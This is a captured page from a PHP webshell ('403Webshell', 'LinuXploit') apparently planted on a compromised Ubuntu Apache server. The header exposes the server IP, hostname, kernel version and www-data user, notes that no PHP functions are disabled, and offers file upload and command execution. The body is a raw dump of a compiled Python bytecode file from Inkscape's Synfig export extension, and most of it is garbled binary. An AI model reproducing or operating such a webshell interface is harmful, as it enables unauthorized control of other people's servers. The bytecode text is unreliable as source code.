403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/synfig_output.cpython-310.pyc
o

5�aɹ�@sdZddlZddlZddlmZddlmZddlZddlmZm	Z	m
Z
mZmZm
Z
mZmZmZmZmZddlZddlmZmZmZGdd�de�ZGd	d
�d
e�Zdgd�gd�gfd
d�Zdd�Zdd�Zdd�Z Gdd�de�Z!e"dkr~e!��#�dSdS)z9
An Inkscape extension for exporting Synfig files (.sif)
�N)�deepcopy)�etree)�Group�Layer�Anchor�Switch�PathElement�Metadata�	NamedView�Gradient�SvgDocumentElement�Path�	Transform)�MalformedSVGError�
SynfigPrep�
get_dimensionc@seZdZdZdS)�UnsupportedExceptionzbWhen part of an element is not supported, this exception is raised to invalidate the whole elementN)�__name__�
__module__�__qualname__�__doc__�rr�//usr/share/inkscape/extensions/synfig_output.pyr'src@s�eZdZdZd^dd�Zdd�Zd	d
�Zdd�Zd
d�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
eee	�Zee
e�Zeee
�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd_d.d/�Zd0d1�Zd2d3�Zd`d4d5�Ziid+d,d-fd6d7�Zdad9d:�Z iid8fd;d<�Z!dbd=d>�Z"d?d@�Z#gdA�gdB�ggdCdDfdEdF�Z$gdA�gdB�ggdCdDfdGdH�Z%dIdJ�Z&dKdL�Z'dcdNdO�Z(dddPdQ�Z)dedSdT�Z*dddUdV�Z+dddWdX�Z,dddYdZ�Z-dfd\d]�Z.d+S)g�SynfigDocumentzGA synfig document, with commands for adding layers and layer parameters���Synfig Animation 1cCs.t�d�|||��|_|��i|_i|_dS)Nz�
    <canvas
        version="0.5"
        width="{:f}"
        height="{:f}"
        xres="2834.645752"
        yres="2834.645752"
        view-box="0 0 0 0"
        >
      <name>{}</name>
    </canvas>
    )r�
fromstring�format�root_canvas�_update_viewbox�	gradients�filters)�self�width�height�namerrr�__init__/s
�
zSynfigDocument.__init__cCs|jS�N)r�r#rrr�get_root_canvasFszSynfigDocument.get_root_canvascCs
|j��Sr()r�getroottreer)rrr�
get_root_treeIs
zSynfigDocument.get_root_treecCsVd�|jdtj|jdtj|jdtj|jdtj�}|j�d|�dS)z5Update the viewbox to match document width and heightz{:f} {:f} {:f} {:f}�@zview-boxN)rr$�sif�kuxr%r�set)r#�attr_viewboxrrrr Ls�zSynfigDocument._update_viewboxcC�t|j�dd��S)Nr$�0��floatr�getr)rrr�	get_widthT�zSynfigDocument.get_widthcC�|j�dt|��|��dS)Nr$�rr0�strr �r#�valuerrr�	set_widthW�zSynfigDocument.set_widthcCr2)Nr%r3r4r)rrr�
get_height[r8zSynfigDocument.get_heightcCr9)Nr%r:r<rrr�
set_height^r?zSynfigDocument.set_heightcCs|j�dd�S)Nr&�)rr6r)rrr�get_nameb�zSynfigDocument.get_namecCs|j�d|�|��dS)Nr&)rr0r r<rrr�set_nameeszSynfigDocument.set_namecCs
t��jS)zGenerate a new GUID)�uuid�uuid4�hexr)rrr�new_guido�
zSynfigDocument.new_guidcCs
|tjS)z)Convert distance from SVG to Synfig units�r.r/�r#�distancerrr�distance_svg2sifurJzSynfigDocument.distance_svg2sifcCs
|tjS)z)Convert distance from Synfig to SVG unitsrKrLrrr�distance_sif2svgyrJzSynfigDocument.distance_sif2svgcCsN|d}|j|d}||jd8}||jd8}|tj}|tj}||gS)z-Convert SVG coordinate [x, y] to Synfig unitsr�r-)r%r$r.r/�r#�vector�x�yrrr�coor_svg2sif}s

zSynfigDocument.coor_svg2sifcCs\|dtj|jd}|dtj|jd}|j|}|�||g�|ks*Jd��||gS)z-Convert Synfig coordinate [x, y] to SVG unitsrr-rPz&sif to svg coordinate conversion error)r.r/r$r%rUrQrrr�coor_sif2svg�s

zSynfigDocument.coor_sif2svgcC�t|�tkr?t|�dkr?t|d�tkst|d�tkr?t|d�tks,t|d�tkr?|�|�}|d|d<|d|d<dS|D]
}t|�tkrN|�|�qAdS)zAScan a list for coordinate pairs and convert them to Synfig units�rrPN)�type�list�len�intr5rU�list_coor_svg2sif�r#�l�l_sifrSrrrr]��  

��z SynfigDocument.list_coor_svg2sifcCrW)z>Scan a list for coordinate pairs and convert them to SVG unitsrXrrPN)rYrZr[r\r5rV�list_coor_sif2svgr^rrrrb�raz SynfigDocument.list_coor_sif2svgcC�|�|d�dS)z3Convert a BLine from SVG to Synfig coordinate units�pointsN)r]�r#�brrr�bline_coor_svg2sif��z!SynfigDocument.bline_coor_svg2sifcCrc)z3Convert a BLine from Synfig to SVG coordinate unitsrdN)rbrerrr�bline_coor_sif2svg�rhz!SynfigDocument.bline_coor_sif2svgNT�autocCs�|dur|j�d�}nt�|d�}|�d|�|�d|�|r&|�dd�n|�dd�|dkr5t�|�}t|�tkr?t	|�}|�d	|�|S)
zBuild an empty layerN�layerrY�desc�active�true�falserj�version)
r�makeelementr�
SubElementr0r.�defaultLayerVersionrYr5r;)r#�
layer_typerl�canvasrmrprkrrr�build_layer�s
zSynfigDocument.build_layercCs$tjt�||d||d�S)z.Calculate radius of a tangent given two pointsrX)r.�
tangent_scale�math�sqrt)r#�p1x�p1y�p2x�p2yrrr�_calc_radius�s$zSynfigDocument._calc_radiuscCsB||}||}|dkr|dkrtjt�||�}n|dkr%|kr2nntjt�||�}nh|dkrB|dkrBt�||�}nX|dkrL|kr[nn
dtjt�||�}n?|dkrk|dkrkdtjd}n/|dkry|dkrytjd}n!|dkr�|dkr�d}n|dkr�|dkr�d}n|dkr�|dkr�tj}|dtjS)z:Calculate angle (in radians) of a tangent given two pointsrrX����)rx�pi�atan)r#rzr{r|r}�dx�dy�agrrr�_calc_angle�s*zSynfigDocument._calc_anglec/Cs�|dur|j�d�}nt�|d�}|�d|�|dkr2|dur+|�d�}t�||�}nt�d||�}|dkrHt�|d�}|�dtt	|����n�|dkr^t�|d�}|�dtt
|����n�|d	kr�t�|d	�}t�|d
�}	tt	|d��|	_t�|d�}
tt	|d
��|
_�n�|dkr�t�|d�}t�|d�}tt	|d��|_t�|d�}tt	|d
��|_t�|d�}
tt	|d��|
_t�|d�}t|�dkr�tt	|d��nd|_�nU|dk�rEt�|d�}|�
�D][}t�|d�}|�dtt	|���||}t�|d�}tt	|d��|_t�|d�}tt	|d
��|_t�|d�}
tt	|d��|
_t�|d�}t|�dk�r?tt	|d��nd|_q�n�|dk�rct�|d�}|�r[|�dd��n�|�dd��n�|dk�r�t�|d�}t|�t
k�r�|�dd�|���n�t|�t	k�r�|�dd�|���n�t|�tk�r�|�d|��n�|dk�r�t�|d�}|�dd�|d �r�|�d d�n|�d d�|d!D�]3}t	|d
d�}	t	|d
d
�}
t	|dd�}t	|dd
�}t	|dd�}t	|dd
�}|�|	|
||�}|�|	|
||�}|�|	|
||�}|�|	|
||�d"}|d�r%d}nd}t�|d#�}t�|d$�}|�dd�t�|d%�}t�|d	�}t|	�t�|d
�_t|
�t�|d�_t�|d&�} t�| d��dd�t�|d'�}!t�|!d��dd(�t�|d)�}"t�|"d��d|�t�|d*�}#t�|d+�}$t�|#d,�}%|%�dd	�t�|$d,�}&|&�dd	�t�|%d-�}'t�|&d-�}(t�|'d�})t�|(d�}*|)�dt|��|*�dt|��t�|%d.�}+t�|&d.�},t�|+d/�}-t�|,d/�}.|-�dt|��|.�dt|���q�n/|d0k�r&t�|d0�}|�d1d2�|�d3d2�|du�r%|D]}|�|��qntd4�|���|�r8|�d5|�|S|�d5|���|S)6zAdd a parameter node to a layerN�paramr&rjrY�realr=�integerrRrSrrTrP�color�r�grfrX�a�z1.0�gradient�pos�boolrnro�timez{:d}sz{:f}s�bline�bline_point�looprdg�f@�entry�	composite�pointr$�originz0.5�split�t1�t2�radial_composite�radius�theta�angleru�xresz10.0�yreszUnsupported param type {}�guid)rrqrrrr0r6r.�	paramTyper;r5r\�textr[�keysrYrr~r��append�AssertionErrorrI)/r#rkr&r=�
param_typer�r�rt�elrSrTr�r�rfr�r�r��c�vertex�tg1x�tg1y�tg2x�tg2y�
tg1_radius�	tg1_angle�
tg2_radius�	tg2_angler�r�r�r�rRr$r��split_elr�r��t1_rc�t2_rc�t1_r�t2_r�	t1_radius�	t2_radius�t1_t�t2_t�t1_angle�t2_anglerrr�build_param�s�
&
&�

�


�
=
��zSynfigDocument.build_paramcCs�|�|||||�}t�|�}	|	��D]4}
|	|
d}|
|��vr%||
}n|	|
d}|
|��vr6||
}
nd}
|durF|j||
|||
d�q|S)abCreate a new layer

        Keyword arguments:
        layer_type -- layer type string used internally by Synfig
        desc -- layer description
        params -- a dictionary of parameter names and their values
        guids -- a dictionary of parameter types and their guids (optional)
        active -- set to False to create a hidden layer
        rrPN)r�)rvr.�defaultLayerParamsr�r�)r#rtrl�params�guidsrurmrprk�default_layer_params�
param_namer��param_value�
param_guidrrr�create_layer�s



�zSynfigDocument.create_layerFcCs�|rtd��|�d�}|sJd��|dkrt�||�}g}|��D]}	|	�d�|kr/|�|	�q!t|�dkrA|�|||||�d	St|�dkrKtd��|�d	||||�}
|�|d|
�d	S)
aSet a layer parameter

        Keyword arguments:
        layer -- the layer to set the parameter for
        name -- parameter name
        value -- parameter value
        param_type -- parameter type (default "auto")
        guid -- guid of the parameter value
        z,Modifying linked parameters is not supportedrY�Layer does not have a typerjr&rrPz,Found multiple parameters with the same nameN)	r�r6r.r��iterchildrenr�r[r��replace)r#rkr&r=r�r��
modify_linkedrt�existingr��	new_paramrrr�	set_param�s"


�zSynfigDocument.set_paramcCsR|��D]"}||��vr|j|||||||d�q|j|||||d�qdS)z�Set layer parameters

        Keyword arguments:
        layer -- the layer to set the parameter for
        params -- a dictionary of parameter names and their values
        guids -- a dictionary of parameter types and their guids (optional)
        )r�r�)r�N)r�r�)r#rkr�r�r�r�rrr�
set_params�s
�zSynfigDocument.set_paramscCs�|�d�}|sJd��|dkrt�||�}|��D]-}|�d�|krF|dkr2t|d�dd��S|d	krBt|d�d	d��Std
��qdS)z�Get the value of a layer parameter

        Keyword arguments:
        layer -- the layer to get the parameter from
        name -- param name
        param_type -- parameter type (default "auto")

        NOT FULLY IMPLEMENTED
        rYr�rjr&r�rr=r3r�z2Getting this type of parameter not yet implementedN)r6r.r�r�r5r\�	Exception)r#rkr&r�rtr�rrr�	get_param�s

��zSynfigDocument.get_paramcCs||j|<dS)zRegister a filterN)r")r#�	filter_id�frrr�
add_filterszSynfigDocument.add_filter���?�r��r�r�r�rB�padc	CsRd||||d�}|r||d<|��|d<n
|dkr||d<ntd��||j|<dS)	z%Register a linear gradient definition�linear)rY�p1�p2�mtx�spreadMethod�stops�
stops_guidrB�link�#Gradient has neither stops nor linkN�rIrr!)	r#�gradient_idr�r�r�r�r��
spread_methodr�rrr�add_linear_gradients�
z"SynfigDocument.add_linear_gradientc	
CsTd|||||d�}	|r||	d<|��|	d<n
|dkr||	d<ntd��|	|j|<dS)	z%Register a radial gradient definition�radial)rY�centerr��focusr�r�r�r�rBr�r�Nr�)
r#r�r�r�r�r�r�r�r�r�rrr�add_radial_gradients�
z"SynfigDocument.add_radial_gradientcCs�||j��vr	dS|j|}d|��vs|ddkr|S|d|j��vr)td��|�|d�}|d|d<|d|d<|d=||j|<|S)ad
        Return a gradient with a given id

        Linear gradient format:
        {
        "type"      : "linear",
        "p1"        : [x, y],
        "p2"        : [x, y],
        "mtx"       : mtx,
        "stops"     : color stops,
        "stops_guid": color stops guid,
        "spreadMethod": "pad", "reflect", or "repeat"
        }

        Radial gradient format:
        {
        "type"      : "radial",
        "center"    : [x, y],
        "radius"    : r,
        "focus"     : [x, y],
        "mtx"       : mtx,
        "stops"     : color stops,
        "stops_guid": color stops guid,
        "spreadMethod": "pad", "reflect", or "repeat"
        }

        Color stops format
        {
        0.0         : color ([r,g,b,a] or [r,g,b]) at start,
        [a number]  : color at that position,
        1.0         : color at end
        }
        Nr�rBzLinked gradient ID not foundr�r�)r!r�r�get_gradient)r#r�r��linked_gradientrrrr�-s#

zSynfigDocument.get_gradientcCs�|��}|ddkrd|d<nt|ddkr�d|d<i}|dD]!}|d|}|dkr2|||d<q|||d<||d	|d<q||d<|d
dkru|dd
d|dd
|dd
|dd	d|dd	|dd	g|d<|d
dkr�|dd9<|d|d<|d
dkr�|�|d�|d<|�|d�|d<|d
dkr�|�|d�|d<|�|d�|d<gd�}|D]}||��vr�||=q�|S)zDTransform gradient to a list of parameters to pass to a Synfig layerr��repeatTr��reflectr�r�r-rPrYr�r�rr�r�r�r�r�)rYr�r�r�r�r�)�copyrUrNr�)r#r�r��	new_stopsr��val�removed_attribsrSrrr�gradient_to_paramshs@
&&��z!SynfigDocument.gradient_to_params�BlurcCs>|jd|tjd||gd�d�}|r||gS|�||g�S)a!Gaussian blur the given layers by the given x and y amounts

        Keyword arguments:
        layers -- list of layers
        x -- x-amount of blur
        y -- x-amount of blur
        is_end -- set to True if layers are at the end of a canvas

        Returns: list of layers
        �blur�straight)�blend_method�size�r�)r�r.�
blend_methods�op_encapsulate)r#�layersrSrTr&�is_endr�rrr�op_blur�s
�
zSynfigDocument.op_blurcCsR|s|S|dur
|S|�|g�}|�|ddtjd�||}|r$|S|�|�S)a=Apply a color overlay to the given layers

        Should be used to apply a gradient or pattern to a shape

        Keyword arguments:
        layers -- list of layers
        overlay -- color layer to apply
        is_end -- set to True if layers are at the end of a canvas

        Returns: list of layers
        Nrr�z
straight onto)r�r�r.r�)r#r��overlayr��overlay_enc�retrrr�op_color�s
zSynfigDocument.op_color�
Inline CanvascCs"|s|S|jd|d|id�}|gS)aEncapsulate the given layers

        Keyword arguments:
        layers -- list of layers
        name -- Name of the PasteCanvas layer that is created
        is_end -- set to True if layers are at the end of a canvas

        Returns: list of one layer
        �PasteCanvasrur�)r�)r#r�r&r�rkrrrr��szSynfigDocument.op_encapsulatecCsd|D]}|�|d�tjdkr|�|�|�||�Sq|D]}|�|d�}|�|d||�q|S)acIncrease the opacity of the given layers by a certain amount

        Keyword arguments:
        layers -- list of layers
        opacity -- the opacity to apply (float between 0.0 to 1.0)
        name -- name of the Transform layer that is added
        is_end -- set to True if layers are at the end of a canvas

        Returns: list of layers
        r�r��amount)r�r.r��op_fader�r�)r#r��opacityr�rkrrrrr�s�zSynfigDocument.op_fadecCs\||j��vrtd�|���z|j||||�}t|�tks J�|WSty-|YSw)z�Apply a filter to the given layers

        Keyword arguments:
        layers -- list of layers
        filter_id -- id of the filter
        is_end -- set to True if layers are at the end of a canvas

        Returns: list of layers
        zFilter {} not found)r"r�rrrYrZr)r#r�r�r�rrrr�	op_filter�s
�zSynfigDocument.op_filtercCsl|s|S|dkr
|S|d}t|�dks|�|dd�dkr%|�|�d}t|�}|�|dtj|�|gS)a[Set the blend method of the given group of layers

        If more than one layer is supplied, they will be encapsulated.

        Keyword arguments:
        layers -- list of layers
        blend_method -- blend method to give the layers
        is_end -- set to True if layers are at the end of a canvas

        Returns: list of layers
        r�rrPrr�r�)r[r�r�rr�r.r�)r#r�r�r�rkrrr�op_set_blends zSynfigDocument.op_set_blendrcCs�|s|S|dus|gd�gd�gkr|Sddg}ddg}ddg}ddg}ddg}	ddg}
t|��|�}t|��|�}t|��|	�}	t|��|
�}
|jd||�|�|�|�|�|�|�|�|�|	�|�|
�d�d�}|rp||gS|�||g�S)	a:Apply a matrix transformation to the given layers

        Keyword arguments:
        layers -- list of layers
        mtx -- transformation matrix
        name -- name of the Transform layer that is added
        is_end -- set to True if layers are at the end of a canvas

        Returns: list of layers
        Nr�r��d���warp)�src_tl�src_br�dest_tl�dest_tr�dest_br�dest_blr�)r�apply_to_pointr�rUr�)r#r�r�r&r�rrrrrrr
rrr�op_transform-s2
�	
zSynfigDocument.op_transform)rrr)NTrj)rjN)rjNF)rj)r�F�F)rF)rF)/rrrrr'r*r,r r7r>r@rArCrE�propertyr$r%r&rIrNrOrUrVr]rbrgrirvr~r�r�r�r�r�r�r�r�r�r�r�r�rr�rr	r
rrrrrr,sZ





$
!
;
>




rr�r�c Cs�|sgSt|���}|durd}n|}tt|��D]}|d7}qg}g}g}g}	d}
|D�]B}|\}}
|dkrC|gkrCtd�||���|dkr�|rb|dd�|	dd�|dd�|dd�|
g�|�dd	gd
��|
dd�}|
dd�}|
dd�}	|ddkr�d	nd}
|d
d�}q,|dvr�|dd�|	dd�|dd�|dd�|
g�|dkr�|
d|d
g}|
d|d
g}	n!|dkr�|d|
dg}|d|
dg}	n|
dd�}|
dd�}	|ddkr�d	nd}
|d
d�}q,|dk�r.|dd�|	dd�|dd�|
dd�|
g�|
dd�}|
dd�}	|ddk�r%d	nd}
|d
d�}q,|dk�r�|dd�}|
dd�}|
dd�}|d}d|dd|d}d|dd|d}|d}|d
}d|d
d|d
}d|d
d|d
}|d
}|dd�|	dd�||g||g|
g�||g}||g}	|ddk�r�d	nd}
|d
d�}q,|dk�rddlm}||dd�|
dd��}|	dd�|dd<|dd
}|dd}	|ddk�r�d	nd}
|d
d�}|dd�D]}|�d�|dd�|��q�q,|dk�rot|dd�dk�r6|dd�|	dd�|dd�|dd�d	g�n-||k�rJ|	dd�|dddd<n|dd�|	dd�|dd�|dd�|
g�g}g}	d}
d|dd<q,|�r�|dd�|	dd�|dd�|dd�|
g�|gd�gd�gk�r�|D]+}|dD]#}|D]}t	|t
��s�t|��|�}|d|d
|d<|d
<�q��q��q�|S)a
    Convert a path to a BLine List

    bline_list format:

    Vertex:
    [[tg1x, tg1y], [x,y], [tg2x, tg2y], split = T/F]
    Vertex list:
    [ vertex, vertex, vertex, ...]
    Bline:
    {
    "points"    : vertex_list,
    "loop"      : True / False
    }
    NrBr�T�Mz5Bad path data: path doesn't start with moveto, {}, {}rrdF)�	nodetypesr�rdr�zrP�LHV�H�V�CrX�����QgUUUUUU�?gUUUUUU�?�A)�arc_to_path�Zr�r�r�)
r
�	to_arrays�ranger[rrr��inkex.pathsr#�
isinstancer�rr) �path_drr��path�nt�_�
bline_list�subpathstart�last�lastctrl�	lastsplit�s�cmdr��q0�q1�q2�x0�x1�x2�x3�y0�y1�y2�y3r#�arcpr�r�r�r��pntrrr�path_to_bline_list]s�

22
2
*

�
4
2�2���rAcGs�||��vr||dkrgd�St�||���}nd}t|ddtj�t|ddtj�t|ddtj�dg}|D]}||��vrP|d	t||�9<q<|S)
N�none)rPrPrPr)rrrrg�o@rPrXr�r�)r��inkex�Color�to_rgb�powr.�gammar5)�style�color_attrib�opacity_attribsr�r�rrrr�
extract_color�s<�rKcGs.d}|D]}||��vr|t||�9}q|S)Nr�)r�r5)rHrJrrrrr�extract_opacitys�rLcCsj||��vr
t||�}nd}|dd|dd|dd|dd}t�t|��}||tjS)NrPr)r�rrxry�absr.r/)rH�width_attribr�r$�area_scale_factor�linear_scale_factorrrr�
extract_widths0rQc@s\eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�ZdS)�SynfigExportcCst�|�dSr()rr'r)rrrr'rDzSynfigExport.__init__cCs�t�|�|j��}t|�dd��}t|�dd��}|�d�}|r%|j}n|�dd�}t|||�}g}|�	�D]
}||�
||�7}q7|��}	|D]}
|	�|
�qH|�
�|_dS)Nr$rr%rz	svg:titlezsodipodi:docnamer)r�effect�document�getrootrr6�
getElementr�rr��convert_noder*r�r,�synfig_document)r#�svgr$r%�titler&�docr��noderrkrrrrSs 


zSynfigExport.effectcCs|j�|�dSr()rX�write)r#�streamrrr�save6szSynfigExport.savec	Cs(t|t�r
|�||�gSt|ttttttf�sgSg}t|t�r@|D]
}||�	||�7}q#t|t
�r?|jp7d}|j||d�}n t|ttf�rU|D]
}||�	||�7}qInt|t�r`|�
||�}|j}d|��vr�|d�d�r�|ddd��d�d}|�||�}t|d	�}|d
kr�|�||�}|S)z.Convert an SVG node to a list of Synfig layersr)r&�filter�url�N�)rrr�)r(r�
parse_defsrrrrr	r
rWr�labelr��convert_pathrHr��
startswithr�r	rLr)	r#r\�dr��subnoder&rHr�rrrrrW9s6



��

zSynfigExport.convert_nodecCs@|��D]}t|t�r|�||�q|jdkr|�||�qdS)Nr`)r�r(r�parse_gradient�TAG�parse_filter)r#r\rh�childrrrrd]s

��zSynfigExport.parse_defsc	Cs�|jdkro|�dtt|���}t|�dd��}t|�dd��}t|�dd��}t|�dd��}|jj}|�dd	�d
d�}	|�dd�}
|	d
kr^|�||�}|j|||g||g|||
d�dS|j|||g||g||	|
d�dS|jdkr�|�dtt|���}t|�dd��}t|�dd��}
t|�dd��}t|�dd��}t|�dd��}|jj}|�dd	�d
d�}	|�dd�}
|	d
kr�|�||�}|j	|||
g|||g|||
d�dS|j	|||
g|||g||	|
d�dSdS)N�linearGradient�idr8z0.0r9r<r=z
xlink:href�#rPr�r�rB)r�r�)r�r��radialGradient�cx�cyr��fx�fy)
rkr6r;ror5�gradientTransform�matrix�parse_stopsr�r�)r#r\rhr�r8r9r<r=r�r�r�r�rrrsr�rtrurrrrjds8
""
$$�zSynfigExport.parse_gradientcCsLi}|��D]}|jdkr t|�d��}|j}t|dd�||<qtd��|S)N�stop�offsetz
stop-colorzstop-opacityzChild of gradient is not a stop)r�rkr5r6rHrKr)r#r\rhr�ryrzrHrrrrx�s
zSynfigExport.parse_stopscs2��dtt����}d�fdd�	}|�||�dS)NroFcs�||d�}|}���D]�}|�d�|vrt�||�d�}g}|jdkrg|�dd�}|�dd���}t|d�}	t|�d	krFt|d	�}
n|	}
|	dkrS|
dkrS|}nw|�|	�}	|�|
�}
|j	||	|
d
d�}nc|jdkr�|�d
d�}|dkryd}n |dkr�d}n|dkr�d}n|dkr�d}n|dkr�d}nt
d��|�d�dkr�d}|�||�|�|d�}n|�d�|vr�t�||�d�}
|
|�||�}nt�|�d�r�|||�d�<||d<qt|d�d	kr�|r�|�|d�S|dS)N)N�
SourceGraphic�in�feGaussianBlur�stdDeviationr3�,� rrPT)r��feBlend�mode�normalr��multiply�screen�darken�lighten�brightenzInvalid blend method�in2�BackgroundImageF�behind�result)
r�r6rrkr�r�r5r[rNr�rr
r�)rhr�r��refs�encapsulate_resultrm�l_in�l_out�std_devrSrTr�r��l_in2�r\rr�
the_filter�s`�





z-SynfigExport.parse_filter.<locals>.the_filterr)r6r;ror�)r#r\rhr�r�rr�rrl�sHzSynfigExport.parse_filterc

Cs<g}|�dtt|���}|j}|jj}t|�d�|�d�|�}|D]�}|�|�|��}	|�	dd�dkr�|d�
d�r@gd�}
nt|dd	�}
|jd
|||
|�	dd�d
krVdndd�d|	id�}|d�
d�r�|�
|ddd��d�d||�d}|j|g|d�d}|�|gt|d	��d}|�|�|�	dd�dk�r|d�
d�r�gd�}
nt|dd�}
|jd|||
t|d|�|�	dd�dkr�dnd|�	dd �d kr�dnd|�	dd �d kr�dndd!�d|	id�}|d�
d��r|�
|ddd��d�d||�d}|j|g|d�d}|�|gt|d��d}|�|�q!|S)"z3Convert an SVG path node to a list of Synfig layersrorhzsodipodi:nodetypes�fillz#000000rBra)rrrrPzfill-opacity�regionz	fill-rule�nonzero�evenoddrPr)r�r��
winding_styler��r�rbNrc)r�strokezstroke-opacity�outlinezstroke-widthzstroke-linejoin�miterTFzstroke-linecap�butt)r�r�r$�sharp_cuspszround_tip[0]zround_tip[1])r6r;rorH�	transformrwrArgrI�
setdefaultrgrKr��convert_urlr�rrrLr�rQ)
r#r\rhr��node_idrHr��blinesr��
bline_guidr�rk�color_layerrrrrf�s^

���(


���(
�zSynfigExport.convert_pathcCs�|�|�}|durdgS|ddkr"|jd||�|�d|did�}|ddkr8|jd	||�|�d|did�}t|�t|d
�}|�|g|j�S)zIReturn a list Synfig layers that represent the gradient with the given idNrYr��linear_gradientr�r�r�r��radial_gradientr�)r�r�r�rrrw)r#�url_idr�rhr�rk�trmrrrr�"s

�
�zSynfigExport.convert_urlN)
rrrr'rSr_rWrdrjrxrlrfr�rrrrrRs$#O@rR�__main__)$rrxrFr�r�lxmlrrCrrrrrr	r
rrr
r�synfig_fileformatr.�synfig_preparerrrr�r�objectrrArKrLrQrRr�runrrrr�<module>s847
 �

Youez - 2016 - github.com/yon3zu
LinuXploit